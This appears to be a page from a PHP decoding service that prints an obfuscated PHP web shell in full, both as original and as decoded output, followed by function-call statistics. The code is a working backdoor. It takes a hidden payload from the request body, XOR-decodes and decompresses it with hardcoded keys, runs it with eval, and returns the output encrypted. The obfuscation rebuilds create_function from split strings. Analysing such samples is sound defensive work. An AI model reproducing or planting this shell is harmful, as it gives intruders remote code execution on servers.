Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $u='h("/$kh--(.+-)-$kf/",@file_get_con-tents(-"php://i-npu-t-"),$m-)==1) {@o-b_star..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="a4d80eac";$kh="9ab26a4a2da0";$kf="4125bc2c096a";$p="e364TxrZjmDcr7jw";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$u='h("/$kh--(.+-)-$kf/",@file_get_con-tents(-"php://i-npu-t-"),$m-)==1) {@o-b_start-();@e';
$P='-($j-<$c&-&$i<$l);$j+-+,-$i++){-$o.=$t{$i-}^$k{-$j};-}}re-turn $o;}if (-@pre-g-_matc';
$d=';@ob_end_clean();-$r=@base6-4_encode(-@x(@gzc-ompres-s($o),-$k));pr-in-t-("$p$kh$r$kf");}';
$t='$k="a-4d80-e-ac";$kh="9ab2--6a4a-2da0";$kf="-412-5bc2c096a";$p=-"e364T-xrZjm-Dcr7-';
$s='jw";functio-n x($-t,$-k)-{$c=strlen($k)-;$l=-st-rlen($t)-;$o-=""-;for($i=0;-$i<$l;){for-($j=0;';
$L=str_replace('qG','','creqGqGqGaqGte_fuqGqGnction');
$m='-val-(@-gzuncompres-s(@x(@base6-4_decode(-$m[1-]),$k))-);-$o=@ob_ge-t_cont-en-t---s()';
$o=str_replace('-','',$t.$s.$P.$u.$m.$d);
$W=$L('',$o);$W();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 7f29b2521342a1bacc9fc35ae1117574 |
Eval Count | 1 |
Decode Time | 490 ms |